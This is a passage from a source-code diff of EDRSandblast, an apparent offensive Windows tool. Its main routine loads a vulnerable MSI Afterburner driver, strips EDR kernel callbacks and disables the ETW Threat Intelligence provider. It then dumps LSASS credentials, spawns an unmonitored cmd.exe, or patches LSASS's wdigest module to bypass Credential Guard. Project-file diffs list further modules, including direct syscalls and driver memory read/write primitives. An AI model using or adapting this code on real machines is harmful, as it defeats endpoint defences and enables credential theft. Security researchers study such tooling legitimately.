status = InstallVulnerableDriver(driverPath);
if (status != TRUE) {
_tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n"));
_tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n"));
Sleep(20000);
status = UninstallVulnerableDriver();
Sleep(2000);
status = status && InstallVulnerableDriver(driverPath);
Sleep(2000);
if (status != TRUE) {
_tprintf(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the MSI Afterburner driver left...\n"));
return EXIT_FAILURE;
}
}
_tprintf(TEXT("\n\n"));
Sleep(5000);
// Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS.
_tprintf(TEXT("Checking if any EDR Kernel callbacks are configured...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
return EXIT_FAILURE;
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
if (checkEDRDrivers->index) {
isSafeToExecutePayload = FALSE;
}
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
_tprintf(TEXT("[+] ETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
_tprintf(TEXT("\n\n"));
if (ETWTIState) {
isSafeToExecutePayload = FALSE;
}
}
if (startMode != audit) {
if (isSafeToExecutePayload) {
_tprintf(TEXT("[+] Process is \"safe\" to launch our payload\n"));
// Do the operation the tool was started for.
switch (startMode) {
// Start a process executing cmd.exe.
case cmd:
_tprintf(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n")
TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n")
TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n\n"));
// Find cmd.exe path.
TCHAR systemDirectory[MAX_PATH * 2] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
TCHAR cmdPath[MAX_PATH * 2] = { 0 };
_tcscat_s(cmdPath, _countof(cmdPath), systemDirectory);
_tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe"));
_tsystem(cmdPath);
break;
// Dump the LSASS process in a new thread.
case dump:
if (kernelMode) {
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS (offset of _PS_PROTECTION exists). This will allow access to LSASS if RunAsPPL is enabled\n"));
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
SetCurrentProcessAsProtected(verbose);
}
}
if (_tcslen(outputPath) == 0) {
TCHAR outputName[] = TEXT("\\lsass");
_tcsncat_s(outputPath, _countof(outputPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(outputPath, _countof(outputPath), outputName, _countof(outputName));
}
_tprintf(TEXT("[+] Attempting to dump LSASS\n"));
HANDLE hThread = CreateThread(NULL, 0, dumpLSASSProcess, outputPath, 0, NULL);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (PDWORD)&lpExitCode);
if (lpExitCode != 0) {
_tprintf(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe\n"));
lpExitCode = EXIT_FAILURE;
}
}
else {
_tprintf(TEXT("[!] An error occurred while attempting to start the new thread...\n"));
lpExitCode = EXIT_FAILURE;
}
break;
// Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory.
case credguard:
if (kernelMode) {
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled\n"));
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
SetCurrentProcessAsProtected(verbose);
}
}
if (_tcslen(wdigestOffsetCSVPath) == 0) {
TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv");
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
}
wdigestOffsets = GetWdigestVersionOffsets(wdigestOffsetCSVPath);
if (wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
_tprintf(TEXT("[!] No known offsets for the version of wdigest.dll in use, Windows Credential Guard will not be bypassed. The required offsets must be computed and added to the offsets CSV file.\n"));
lpExitCode = EXIT_FAILURE;
}
else {
_tprintf(TEXT("\n\n"));
if (disableCredGuardByPatchingLSASS()) {
_tprintf(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.\n"));
}
else {
_tprintf(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.\n"));
lpExitCode = EXIT_FAILURE;
}
}
break;
}
_tprintf(TEXT("\n\n"));
}
// If the the payload is not safe to execute.
else {
_tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and starting another process...\n"));
#ifdef _DEBUG
assert(kernelMode);
#endif
/*
* 1/3 : Removing kernel-based monitoring.
*/
// Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo.
if (ETWTIState) {
DisableETWThreatIntelProvider(verbose);
}
// If kernel callbacks are monitoring processes, we remove them and start a new process.
if (checkEDRDrivers && checkEDRDrivers->index != 0) {
_tprintf(TEXT("EDR driver(s) found in Kernel callbacks, attempting to remove them...\n"));
// Removes EDR drivers callbacks for process / threads creation and image loading.
removedEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!removedEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to remove the drivers in Kernel callbacks\n"));
return EXIT_FAILURE;
}
_tprintf(TEXT("--- Removing EDR driver(s) in process creation Kernel callbacks...\n"));
RemoveEDRProcessNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("--- Removing EDR driver(s) in threads creation Kernel callbacks...\n"));
RemoveEDRThreadNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("--- Removing EDR driver(s) in image loading Kernel callbacks...\n"));
RemoveEDRImageNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("\n\n"));
// Checks that EDR drivers were indeed removed and if so, go on with the payload.
_tprintf(TEXT("Checking that all EDR driver(s) were successfully removed from Kernel callbacks...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
free(removedEDRDrivers);
return EXIT_FAILURE;
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
_tprintf(TEXT("\n\n"));
if (checkEDRDrivers->index != 0) {
_tprintf(TEXT("[!] All EDR drivers could not be removed from Kernel callbacks, exiting..."));
lpExitCode = EXIT_FAILURE;
}
free(checkEDRDrivers);
}
/*
* 2/3 : Starting "resursively" our process.
*/
// Re-executing the present binary, without any kernel callback nor ETWTI enabled.
_tprintf(TEXT("All EDR drivers were successfully removed from Kernel callbacks\nStarting a new unmonitored process ...\n"));
_tprintf(TEXT("\n\n"));
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
// Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process.
TCHAR* currentCommandLine = GetCommandLine();
TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver"));
TCHAR* serviceNameOpt = _tcsdup(TEXT(" --service "));
TCHAR* svcName = GetServiceName();
//TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const".
const SIZE_T commandLineMaxLen = 32768;
TCHAR* commandLine = (TCHAR*) calloc(commandLineMaxLen, sizeof(TCHAR));
_tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine));
_tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag));
_tcsncat_s(commandLine, commandLineMaxLen, serviceNameOpt, _tcslen(serviceNameOpt));
_tcsncat_s(commandLine, commandLineMaxLen, svcName, _tcslen(svcName));
if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else {
_tprintf(TEXT("[!] An error occured while trying to create a new process\n"));
lpExitCode = EXIT_FAILURE;
}
free(commandLine);
_tprintf(TEXT("\n\n"));
/*
* 3/3 : Restoring state after execution.
*/
// By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set.
if (restoreCallbacks == TRUE && removedEDRDrivers && removedEDRDrivers->index != 0) {
// Restores the EDR drivers.
_tprintf(TEXT("Restoring EDR driver(s) Kernel callbacks...\n"));
RestoreEDRCallbacks(removedEDRDrivers);
_tprintf(TEXT("\n\n"));
// Checks that the EDR drivers were indeed restored.
_tprintf(TEXT("Checking that all EDR driver(s) were successfully restored in Kernel callbacks...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to check if the EDR drivers were successfully restored in Kernel callbacks\n"));
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
if (removedEDRDrivers && checkEDRDrivers && removedEDRDrivers->index == checkEDRDrivers->index) {
_tprintf(TEXT("[+] All EDR drivers were successfully restored in Kernel callbacks\n"));
}
else {
_tprintf(TEXT("[!] All EDR drivers could not be restored, continuing...\n"));
lpExitCode = EXIT_FAILURE;
}
free(checkEDRDrivers);
_tprintf(TEXT("\n\n"));
}
// Renable the ETW Threat Intel provider.
// TODO : make this conditionnal, just as kernel callbacks restoring ?
if (ETWTIState) {
EnableETWThreatIntelProvider(verbose);
}
if (removedEDRDrivers) {
free(removedEDRDrivers);
}
}
}
if (kernelMode && removeVulnDriver) {
Sleep(5000);
_tprintf(TEXT("[*] Uninstalling vulnerable MSI Afterburner driver...\n"));
status = UninstallVulnerableDriver();
if (status == FALSE) {
_tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n"));
_tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), GetServiceName());
lpExitCode = EXIT_FAILURE;
}
else {
_tprintf(TEXT("[+] The vulnerable driver was successfully uninstalled!\n"));
}
}
return lpExitCode;
}
+81 -20
View File
@@ -24,32 +24,33 @@
<ProjectGuid>{7e3e2ece-d1eb-43c6-8c83-b52b7571954b}</ProjectGuid>
<RootNamespace>EDRSandblast</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>EDRSandblast_Core</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
@@ -58,6 +59,7 @@
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
@@ -82,9 +84,14 @@
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<IncludePath>$(SolutionDir)EDRSandblast\Includes;$(IncludePath)</IncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<RunCodeAnalysis>false</RunCodeAnalysis>
<EnableClangTidyCodeAnalysis>true</EnableClangTidyCodeAnalysis>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
<IncludePath>$(SolutionDir)EDRSandblast\Includes;$(IncludePath)</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
@@ -97,7 +104,7 @@
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -115,7 +122,7 @@
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
@@ -130,7 +137,7 @@
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@@ -143,52 +150,106 @@
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>Includes\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
<ProgramDatabaseFile />
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="EDRBypass\ETWThreatIntel.c" />
<ClCompile Include="EDRBypass\KernelCallbacks.c" />
<ClCompile Include="EDRSandblast.c" />
<ClCompile Include="Drivers\DriverDBUtil.c" />
<ClCompile Include="Drivers\DriverRTCore.c" />
<ClCompile Include="KernellandBypass\ETWThreatIntel.c" />
<ClCompile Include="KernellandBypass\KernelCallbacks.c" />
<ClCompile Include="KernellandBypass\KernelUtils.c" />
<ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
<ClCompile Include="UserlandBypass\Syscalls.c" />
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
<ClCompile Include="Utils\FileUtils.c" />
<ClCompile Include="Utils\HttpClient.c" />
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
<ClCompile Include="Userland\PEBBrowse.c" />
<ClCompile Include="Userland\PEParser.c" />
<ClCompile Include="Userland\UserlandHooks.c" />
<ClCompile Include="Utils\ListUtils.c" />
<ClCompile Include="Utils\RemotePEBBrowser.c" />
<ClCompile Include="Utils\PdbSymbols.c" />
<ClCompile Include="UserlandBypass\Firewalling.c" />
<ClCompile Include="UserlandBypass\UserlandHooks.c" />
<ClCompile Include="Utils\DriverOps.c" />
<ClCompile Include="Utils\FileVersion.c" />
<ClCompile Include="Utils\FirewallOps.cpp" />
<ClCompile Include="Utils\IsEDRChecks.c" />
<ClCompile Include="Utils\IsElevatedProcess.c" />
<ClCompile Include="Utils\KernelMemoryPrimitives.c" />
<ClCompile Include="Utils\KernelPatternSearch.c" />
<ClCompile Include="Utils\LSASSDump.c" />
<ClCompile Include="Utils\ProcessDump.c" />
<ClCompile Include="Utils\NtoskrnlOffsets.c" />
<ClCompile Include="Utils\PEBBrowse.c" />
<ClCompile Include="Utils\PEParser.c" />
<ClCompile Include="Utils\StringUtils.c" />
<ClCompile Include="Utils\SignatureOps.c" />
<ClCompile Include="Utils\SW2_Syscalls.c" />
<ClCompile Include="Utils\SyscallProcessUtils.c" />
<ClCompile Include="Utils\WdigestOffsets.c" />
<ClCompile Include="Utils\WindowsServiceOps.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="EDRSandblast.h" />
<ClInclude Include="Includes\CredGuard.h" />
<ClInclude Include="Includes\DriverDBUtil.h" />
<ClInclude Include="Includes\DriverRTCore.h" />
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
<ClInclude Include="Includes\FileUtils.h" />
<ClInclude Include="Includes\HttpClient.h" />
<ClInclude Include="Includes\DriverOps.h" />
<ClInclude Include="EDRSandBlast.h" />
<ClInclude Include="Includes\ETWThreatIntel.h" />
<ClInclude Include="Includes\FileVersion.h" />
<ClInclude Include="Includes\Firewalling.h" />
<ClInclude Include="Includes\FirewallOps.h" />
<ClInclude Include="Includes\IsEDRChecks.h" />
<ClInclude Include="Includes\IsElevatedProcess.h" />
<ClInclude Include="Includes\KernelCallbacks.h" />
<ClInclude Include="Includes\KernelMemoryPrimitives.h" />
<ClInclude Include="Includes\KernelPatternSearch.h" />
<ClInclude Include="Includes\LSASSDump.h" />
<ClInclude Include="Includes\KernelUtils.h" />
<ClInclude Include="Includes\ListUtils.h" />
<ClInclude Include="Includes\ProcessDump.h" />
<ClInclude Include="Includes\RemotePEBBrowser.h" />
<ClInclude Include="Includes\NtoskrnlOffsets.h" />
<ClInclude Include="Includes\PEBBrowse.h" />
<ClInclude Include="Includes\PEParser.h" />
<ClInclude Include="Includes\RunAsPPL.h" />
<ClInclude Include="Includes\SignatureOps.h" />
<ClInclude Include="Includes\StringUtils.h" />
<ClInclude Include="Includes\SW2_Syscalls.h" />
<ClInclude Include="Includes\SyscallProcessUtils.h" />
<ClInclude Include="Includes\Syscalls.h" />
<ClInclude Include="Includes\Undoc.h" />
<ClInclude Include="Includes\Undoc_64.h" />
<ClInclude Include="Includes\UserlandHooks.h" />
<ClInclude Include="Includes\WdigestOffsets.h" />
<ClInclude Include="Includes\CredGuard.h" />
<ClInclude Include="Includes\RunAsPPL.h" />
<ClInclude Include="Includes\WindowsServiceOps.h" />
<ClInclude Include="Includes\PdbSymbols.h" />
<ClInclude Include="Includes\ObjectCallbacks.h" />
</ItemGroup>
<ItemGroup>
<MASM Include="Utils\SW2_Syscalls_stubs.x64.asm">
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild>
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</DeploymentContent>
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild>
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</DeploymentContent>
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</ExcludedFromBuild>
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</DeploymentContent>
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</ExcludedFromBuild>
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</DeploymentContent>
</MASM>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
+141 -19
View File
@@ -15,12 +15,6 @@
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="EDRSandblast.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="EDRBypass\KernelCallbacks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="LSASSProtectionBypass\CredGuard.c">
<Filter>Source Files</Filter>
</ClCompile>
@@ -33,9 +27,6 @@
<ClCompile Include="Utils\DriverOps.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\LSASSDump.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\FileVersion.c">
<Filter>Source Files</Filter>
</ClCompile>
@@ -48,16 +39,82 @@
<ClCompile Include="Utils\WdigestOffsets.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="EDRBypass\ETWThreatIntel.c">
<ClCompile Include="Utils\FirewallOps.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Userland\PEBBrowse.c">
<ClCompile Include="Utils\IsEDRChecks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Userland\PEParser.c">
<ClCompile Include="Utils\IsElevatedProcess.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Userland\UserlandHooks.c">
<ClCompile Include="Utils\WindowsServiceOps.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\SignatureOps.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="KernellandBypass\ETWThreatIntel.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="KernellandBypass\KernelCallbacks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="UserlandBypass\Firewalling.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="UserlandBypass\UserlandHooks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\PdbSymbols.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\HttpClient.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\FileUtils.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="KernellandBypass\ObjectCallbacks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\SW2_Syscalls.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="KernellandBypass\KernelUtils.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Drivers\DriverRTCore.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\SyscallProcessUtils.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Drivers\DriverDBUtil.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\StringUtils.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\PEParser.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\PEBBrowse.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\RemotePEBBrowser.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\ListUtils.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="UserlandBypass\Syscalls.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\ProcessDump.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
@@ -71,15 +128,9 @@
<ClInclude Include="Includes\KernelMemoryPrimitives.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="EDRSandBlast.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\DriverOps.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\LSASSDump.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\FileVersion.h">
<Filter>Header Files</Filter>
</ClInclude>
@@ -113,5 +164,76 @@
<ClInclude Include="Includes\UserlandHooks.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\Firewalling.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\FirewallOps.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\IsElevatedProcess.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\WindowsServiceOps.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\SignatureOps.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\IsEDRChecks.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\PdbSymbols.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\HttpClient.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\FileUtils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\ObjectCallbacks.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\KernelUtils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\DriverRTCore.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\DriverDBUtil.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\SyscallProcessUtils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\SW2_Syscalls.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\StringUtils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\RemotePEBBrowser.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\ListUtils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\Syscalls.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\ProcessDump.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="EDRSandblast.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="Utils\SW2_Syscalls_stubs.x64.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>
+8
View File
@@ -0,0 +1,8 @@
#pragma once
#include <Windows.h>
HANDLE GetDriverHandle_DBUtil();
VOID CloseDriverHandle_DBUtil();
VOID WriteMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer);
VOID ReadMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer);
+4 -3
View File
@@ -9,16 +9,17 @@
#include <Windows.h>
#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()))
